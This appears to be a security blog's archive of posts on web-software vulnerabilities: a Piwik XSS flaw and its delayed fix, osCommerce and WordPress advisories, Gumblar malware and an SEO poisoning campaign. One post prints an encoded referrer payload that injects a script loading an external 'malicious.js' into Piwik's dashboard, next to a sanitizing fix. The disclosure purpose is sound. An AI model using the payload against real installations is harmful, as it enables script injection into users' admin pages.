Piwik Releases Fix for Cross-Site Scripting (XSS) Vulnerability

On Tuesday Piwik released Piwik 1.1 which fixed the cross-site scripting (XSS) vulnerability in the Live Visitors! widget (renamed Visitors in Real Time in the new version)which we previously wrote about. The fix was released just over a month after we contacted them about the issue and two weeks after they apparently became aware of us contacting them. Based on contact with them it seems possible that could have become aware of the issue as long ago as August 28th, four months before they fixed it. A number of cross-site scripting vulnerabilities were also fixed in the release but no details have been provided on those. There was also a professional security audit done for Piwk 1.1, unfortunately that audit was only focused on the source code and not at Piwik’s security process which we believe have some serious problems. These include not having a reliable way for security issues to be reported and not promptly releasing fixes for security vulnerabilities.

Piwik’s choice to wait for the next major release to fix the vulnerability instead of promptly releasing a security release also exposed another problem with this type of approach. Users were told the release was critical and they should “update now”,  but when users did it caused some Piwik installations to stop working. Piwik then released an update the next day which solved the most serious problems, but it appears a number of serious issues still exist. If the security updates had been separately released then they could have applied promptly and users could have taken more time, possibly testing the new version on development website, before upgrading the next major release which would have likely lead to less users experiencing these bugs.

Posted in Piwik, Vulnerability | Leave a comment

Piwik is Knowingly Leaving Users Vulnerable to Cross-Site Scripting (XSS) Issue

Two days we posted about a cross-site scripting (XSS) vulnerability in the Piwik’s Live Visitors! widget and we have now received a email response from Piwik. In their response they told us that the vulnerability had already been reported to them. Unfortunately, their response also indicated that they have been waiting to fix the vulnerability in their next major release instead of releasing a security release to fix the issue promptly after they became aware of it.

While the vulnerability would be difficult to exploit, as we discussed in our previous post, and would require a separately created malicious payload to be dangerous, it certainly seems to be something that should have been promptly fixed. Considering that there have been at least two reports to Piwik it is likely that others are aware of the issue. Piwik also seems to think it is a serious issue, as they left a comment in our previous post requesting that we make the post private (something we would have done if  a fix was going to be released in a timely manner) and they were critical of our public release of the information.

WordPress, which we consider to follow responsible security practices, appears to promptly release fixes for security vulnerabilities instead of waiting for the next major release. Last year they even back-ported security enhancements developed for their next major release to the current version to improve security.

Until they decide to release a fix to the vulnerability, you can protect yourself by removing the Live Visitors! widget from your Dashboard or apply the fix mentioned in our previous post, which appears to fix the issue.

Assuming that Piwik was not aware of the vulnerability before releasing the most recent version, Piwik 1.0, they could have possibly known about the vulnerability as far back as August 28th.

What was also troubling was that Piwik apparently did not receive the messages we sent them. Both the email we received and the comment on our previous post claimed they had not received our emails, though in our original post we only mentioned that we contacted them and not that we had emailed them. In the email we received from them they stated “If your email contained an example URL similar to the one in your blog post, then it quite likely got filtered as spam or malicious content (i.e., phishing).” This is a problem as it means that Piwik could not be receiving other reports of security vulnerabilities and they could then be left unfixed. Since our original posting they have created a new security page on their website that mentions the problem with their spam filter. Hopefully, Piwik will take the further step either fix the current reporting system or create a new one so that they can insure they receive security vulnerabilities reports in the future.

We certainly don’t want to be overly critical of Piwik, but their response to this issue is very troubling to us because we use Piwik on our website and we recommend and promote the software to others.

Posted in Piwik, Vulnerability | Leave a comment

Cross-Site Scripting (XSS) Vulnerability in Piwik’s Live Visitors! Widget

The Live Visitors! widget for Piwik, an open source web analytics software similar to Google Analytics, contains a cross-site scripting (XSS) vulnerability which can allow malicious HTML to be added to Piwik’s Dashboard. The Dashboard is the page that users come to after logging in to Piwik and contains an overview of statistics.  The Live Visitors! widget was added to default Dashboard with Piwik 1.0.

The vulnerability exist because the Live Visitors! widget does not properly sanitize special characters from the referer_keyword field of the piwik_log_visit table in the database. The referer_keyword field stores the keyword(s) that a user had search for when they visit the website through a search engine. This vulnerability can be used to add malicious HTML code to the Dashboard while a visitor with a special crafted referer is currently being displayed in the Live Visitors! widget. For example, the following referrer would create a script tag calling the file example.com/malicious.js:

http://www.google.com/search?q=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fexample.com%2Fmalicious.js%22%3E

The example.com/malicious.js could contain code that attempts to install malware on a computer or have some other malicious purpose.

For this to be exploited the victim would have to have the dashboard open when the visitor with the malicious code was being shown. The widget displays the last 10 visitors, so for high traffic website a visitor would appear for only a short time. By default Piwik only track visitors with JavaScript enabled, so just making GET requests with a malicious referer would not allow the vulnerability to be exploited.

We twice contacted Piwik’s security team about the issue. On December 2nd we provided them with basic details of the issue and on December 14th we contacted them with additional details of the issue and a possible fix for the issue. We have not received any response from them.

To insure that you are protected from the vulnerability being exploited you can remove the Live Visitors! widget from the Dashboard. A change that appears to fix the issue is to modify the following line in the file /plugins/Live/Visitor.php from

return $this->details['referer_keyword'];

to

return htmlspecialchars($this->details['referer_keyword']);

This change will cause special characters to be converted to HTML entities, so you would see the malicious code in text form instead of it being executed.

Posted in Piwik, Vulnerability | 2 Comments

Google Adds “This site may be compromised.” Warnings To Search Results

In the last several weeks Google has begun to show “This site may be compromised.” warnings, for websites they “believe may have been hacked or otherwise compromised”, in their search results. According to Google’s article about of the warning they have been added “To protect the safety of our users” and they recommend users “should be careful about providing personal information to the site” being flagged.

In the past when Google has detected websites they believe to be hacked and violate their Webmaster Guidelines, they have removed the websites from their index and placed a “Notice of Suspected Hacking” message in their Webmaster Tools to let the webmaster know. It’s unclear at this point if Google has replaced doing that with the new warning or if the warning is only for websites that have been hacked in such a way that does not warrant being removed for their search index. Unlike the malware warning (“This site may harm your computer.”) Google places in their search results, which sends users to an interstitial page when they click search result for an affected website, users are still able to directly access the website.

For websites which display the warning, after the hack has been removed reconsideration needs to be requested from Google to have the warning message removed. According to a post by Google employee John Mueller “These requests are processed fairly quickly (usually within a day, though it’s not possible to give an exact timeframe). “

Posted in Google, Website Security | Leave a comment

osCommerce 2.3 and 2.3.1 Do Not Contain Vulnerability in categories.php

It was recently reported that the /admin/categories.php file in osCommerce contained a vulnerability that would allow someone to remotely add files to an osCommerce installation without. This could be used to add backdoor script, which would allow the hacker access to all the website files and the ability to run code on server. This could be used for a number of malicious purposes including added spam or malware to website. osCommerce has been a frequent target for hackers lately, mainly being used to spread malware, due to a number of security vulnerabilities in older versions. In SecurityFocus’s advisory it was stated that version 2.3.1, which is the most recent version of osCommerce, is the vulnerable version. Using the exploit code they provided we tested the exploit and we found that version 2.3.1 is not vulnerable. Version 2.3, which included fixes for a number of security vulnerabilities and a number security enhancements, is also not vulnerable. Version 2.2rc2a and probably versions older than that are vulnerable if the workaround to secure the admin area has not been applied to them.

Posted in osCommerce, Website Security | Leave a comment

WordPress 3.0.2 Fixes SQL Injection Vulnerability

WordPress 3.0.2, which was released yesterday, fixes a SQL injection vulnerability that would allow Author-level and above users to view any information stored in the WordPress database. This could be used to view email address, hashed passwords, and other sensitive information stored in the database. WordPress rates this vulnerability as a moderate security issue. The vulnerability existed due to the fact that the “do_trackbacks() function in wp-includes/comment.php  does not properly escape the input that comes from the user”. According to Vladimir Kolesnikov, who discovered it, the vulnerability seems to have existed since WordPress 2.x. Further details of the vulnerability can be found in Vladimir’s blog post.

The new version also includes fixes for several minor cross-site scripting (XSS) vulnerabilities and a number of bug fixes.

Posted in Website Security, WordPress | Leave a comment

Clearing Up Recent Information about Gumblar (Kroxxu) Malware

Avast has released a new analysis of the latest variant of the Gumblar ( which Avast refers to as Kroxxu) malware. This analysis and the media coverage of it contains some misleading information about the malware.

Some of the media coverage has claimed this new or newly detected, but this variant has been around since October of 2009 and was detected at the time.

Avast emphasizes that the malware makes use of redirection to making the malware sound more nefarious and advanced than it actually is. The malware is not the only malware to use redirection. Other malware makes use of redirection as part of it basic setup, whereas Gumblar’s is a by-product of how it operates. It is not an attempt to hide the malware as Avast believes is possibly the case or a glitch as they also believe is possible. Instead of hosting the code that infects user’s computers on server controlled by the person(s) behind the malware, as is the standard practice, the code is placed on some of the websites that they have compromised. The websites they use for this purpose are frequently changed and when they switch they set the old ones to redirect to the new ones. Gumblar updates the other infected websites to call these new infected websites, but leaves calls to the old website in JavaScript files leading to the redirects.

Avast refers to infected servers, but the malware does not affect the servers at all instead affecting individual websites hosted on a server. This is an important distinction because on shared servers Gumblar would not infect other websites which it does not have FTP credentials for. Avast claims that there is “difficulty in removing” it, which is not true. If a clean backup is available the website can simply be reverted to that. If that is not available the malware code needs to be removed from the files, which is no more difficult than any of malware added to websites. More sophisticated malware does infect the server itself, making it more difficult to clean.

Avast also emphasizes that the infections have remained on websites for long periods of time, which is true, but this is not out of the ordinary for website malware.

While it is difficult to measure the size of website malware infections, Avast currently claimed and historical size is not above the level of many of the larger malware infections.

Posted in Website Malware | Leave a comment

osCommerce 2.3 Includes Fixes for Security Vulnerabilities and Security Enhancements

More that two and half years after the last version of osCommerce was released and more than a year after a serious security vulnerability was discovered a new version of osCommerce has been released. The new version 2.3 was released last Friday and version 2.3.1, a minor maintenance release, was released two days later.

osCommerce has been a frequent target for hackers lately, mainly being used to spread malware, due to a number of security vulnerabilities. Version 2.3 of osCommerce removed a vulnerable file, file_manager.php, another vulnerable file has been changed to remove the vulnerability, and a vulnerability that allowed bypassing the login system has been fixed.

Unfortunately, it does not appear that osCommerce has decided that admin directory should be secure by default. They are still recommending that the admin directory be renamed and password protection be enabled on the directory. If the admin directory was secure, as it should be, neither of these should be necessary. The only other major web software that recommends renaming the admin directory as standard practice is Zen Cart and none recommend password protecting the directory as standard practice. Zen Cart display a prominent warning if the admin directory has not been renamed, osCommerce provides no warning if the admin has not been renamed or password protection of the admin directory has not been enabled. osCommerce does support renaming the admin directory during the installation process (on the Online Store Settings page) and makes it possible to enable password protection of the directory by just changing a configuration setting (located at configuration>administrators).

The new version also includes a number of security enhancements. The Portable PHP hashing framework has been added to more securely hash passwords, this software is also used in WordPress. A customer session token has been added  “to forms to protect against Cross-Site Request Forgeries (CSRF)”. A new section of the admin, Security Directory Permissions, displays the current write permission of the various osCommerce directories and what are the recommend permissions are. A built-in version checker allows for checking if a new version of osCommerce has been released.

If you are running an older version of osCommerce and are not upgrading immediately you should secure your website by renaming and password protecting the admin directory if you have not already done so.

Posted in osCommerce, Website Malware, Website Security | Leave a comment

Hetzner Online Hosts Critical Component of SEO Poisoning Campaign

Hetzner Online, a large German hosting provider, provides hosting for three  websites that are critical for a major SEO poisoning campaign. SEO poisoning involves getting web pages listed in search engines that when accessed attempt to infect the computer with malware.

This particular campaign involves two sets of hacked websites and the websites hosted by Hetzner Online. The first set of websites has been hacked to display the content from a file requested from getalllinks.info, dvc44ftgr.com, or uniteddomainsweb.com when a page from the hacked website is requested by a search engine. The files from getalllinks.info, dvc44ftgr.com, and uniteddomainsweb.com, hosted by Hetzner Online at the IP address 78.46.71.6, include links to pages on the second set of hacked websites. The content of those files can be seen at http://www.getalllinks.info/links/0.txt, http://www.dvc44ftgr.com/links/0.txt, or and http://www.uniteddomainsweb.com/links/0.txt. Search engines crawl those pages on the second set of hacked websites and they get included in search engines results.  When people access the pages through search engines they are redirected to fake anti-virus scanner that attempts to infect their computers with malware. Without the three domains hosted by Hetzner Online the pages on the second set of websites are never crawled and never get included in the search results where the could be accessed by users.

We contacted Hetzner Online about the issue a month ago. We receive a message acknowledging our message, but they have taken no action beyond that. Hetzner Online is not the first prominent host to have provided service for this SEO poisoning campaign. The Planet previously provided service for these domains and continued to host these domains for three months after we contacted them.

Posted in Website Malware, Website Security | Leave a comment

Websense Threat Report Repeats False Claims of WordPress Hackings

In Websense’s 2010 Threat Report they listed WordPress Attacks as on of the significant events of the year. They also claimed that WordPress “was hacked numerous times in 2010″. While its true that some outdated WordPress installations were hacked during the year (as they and other web software have been for years), the hacks that they refer to in their report, which were much larger than any actual hacks of WordPress, were not hacks of WordPress at all. The hacks they refer to were actually hacks that targeted hosting providers that would allow malicious code to be added to websites hosted with the provider whether they were running WordPress, other software, or no software at all.

In most of the hacks the malicious code was placed in all files that had a .php extension. WordPress, by the nature of being the most popular web software, was the most of often affected, but all web software that have files with a .php extension were also affected. In other cases the hacks targeted database fields specific to WordPress, but they could have affected any other software that utilized a database if the hacker had chose to target them instead of WordPress.

Websense is not alone is making these false claims, other supposed security experts also made similar claims and some hosting provider have attempted to lame blame on WordPress. Network Solutions was the only one to later apologize for blaming WordPress.

Websense also claimed that “numerous vulnerabilities were known to exist during the height of the attacks”. Seeing as WordPress was not hacked as claimed, the claimed numerous vulnerabilities also don’t exist. In fact during the year the only security vulnerability that required the release of a new version of WordPress was one that allowed “logged in users can peek at trashed posts belonging to other authors”. This vulnerability would not have allowed the WordPress installation to have been hacked.

Making false claims about WordPress’s security damages WordPress reputation without improving security. In fact it may have the effect of decreasing security, as it may lead to people to use software that does not focus on security as well as WordPress does. WordPress responds quickly to security issues, automatically informs users of upgrade within their software, and makes it relatively easy to upgrade the software as well. By comparison two web software apps that have actually had major hackings in 2010 have not responded properly, osCommerce has chosen not release a patch for their security vulnerabilities and OpenX has recommend a fix for a vulnerablility that actually causes future upgrades to fail.

Posted in Website Malware, Website Security, WordPress | Leave a comment